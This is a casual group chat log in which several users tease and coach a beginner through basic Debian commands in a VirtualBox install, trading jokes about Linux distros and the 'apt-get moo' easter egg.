Ah yes, "Wikihow: how to clean up nuclear waste from fission"

Step 2: Figure it out

[wanton snow]

@slender mulch open terminal

type su root

[brave isle]

SMH just do Ctrl Alt t

[wanton snow]

then type tasksel

[brave isle]

Assuming its like most linux distros

[slender mulch]

terminal...

[brave isle]

Ctrl Alt T works

[wanton snow]

now uninstall gui

space to select

[brave isle]

[wanton snow]

uninstall gnome too

and install ssh

cause y not

u good now

tab

[sleek halo]

Cockpit ❤️

Fedora ❤️

[wanton snow]

cockpit cute but

is just added bloat

[sleek halo]

Fedora Server is my love

[wanton snow]

fedora server is ass

just use actual rhel u pissbaby

[fallow belfry]

Red Hat on my server

[slender mulch]

now what should I do

[wanton snow]

since ur root i bet u can just enter reboot command

[brave isle]

i can see why you enjoy other people's pain
cause i am also

[wanton snow]

kek

[slender mulch]

so just type reboot?

[wanton snow]

jk fedora nice

but u can install cockpit on literally any distro

[sleek halo]

lmao i know

[wanton snow]

yea

and deb best

[slender mulch]

nope

[sleek halo]

I dont use Fedora server currently but I have in the past

[wanton snow]

[slender mulch]

reboot dont work

[brave isle]

literally reboot vbox lul

[slender mulch]

fine

do I just close the window for that then?

[wanton snow]

sudo systemctl start reboot.target

[wanton snow]

the entire goal was to teach her basic commands

[brave isle]

Well I derive enjoyment from other people's pain

[wanton snow]

oh lul deb doesnt come with sudo i forgot

use apt to install it

[slender mulch]

type apt?

[wanton snow]

i am stopping the handholding

apt is the package manager

[slender mulch]

[brave isle]

I hope sara doesn't ask "What is a good psu"

[tight eagle]

Didn't know you were holding hands

Can you hold mine 😳

[wanton snow]

no i bet ur hand is sweaty

[fallow belfry]

type "apt-get moo"

[brave isle]

What is the hardest distro to install?

[wanton snow]

gentoo

[brave isle]

We should give sara it

[wanton snow]

i daily gentoo

[tight eagle]

My hand clean

[brave isle]

[wanton snow]

shes getting warmer

[brave isle]

I can send her the gentoo iso

https://www.gentoo.org/downloads/

[wanton snow]

ok hint cause this is HURTING

apt command

not just the command lul

for example to update your packages

[brave isle]

Im starting to think Lili and I are sadomasochists

[wanton snow]

itd be apt update

[wanton snow]

i know i am one

[brave isle]

I think its genetics

its carry over.

I can feel it lul

[wanton snow]

your genes are weak

so based off that example

[brave isle]

Why do I feel like sara will attempt a punett square but with linux distros in it

[wanton snow]

you should know how to install

[brave isle]

Imagine this

But with linux distros

[fallow belfry]

Seriously, apt-get moo

[brave isle]

[wanton snow]

APT-GET LUL

[slender mulch]

sorry i was talking to someone

[wanton snow]

apt install moo

do it right

[slender mulch]

I dont want to run half these commands because irdk if yall are joking or not

[wanton snow]

kek

apt-get moo isnt a joke

[slender mulch]

I know, i see it

[wanton snow]

i was memeing with install tho

[fallow belfry]

I swear on my reputation that "apt-get moo" is not dangerous

[wanton snow]

[slender mulch]

therea a moo

[brave isle]

https://www.wikihow.com/Install-Debian-sid#:~:text=How to Install Debian sid 1 Method 1,version of Debian, Ubuntu, or most derivatives.

Read this

[brave isle]

Yeah, it embedded basic system features into your vbox

[fallow belfry]

Linux easter eggs lol

[brave isle]

SMH

[wanton snow]

oh my god sara this is painful

[brave isle]

Imagine not knowing it embeds basic system features.

[wanton snow]

fine

[tight eagle]

Epic

[wanton snow]

apt install sudo

its literally that easy smh

[brave isle]

SMH

[slender mulch]

brb

[brave isle]

don't give in

[tight eagle]

Pet cow

[sleek halo]

apt install brain

[brave isle]

Tutorials are for the weak

[wanton snow]

package not found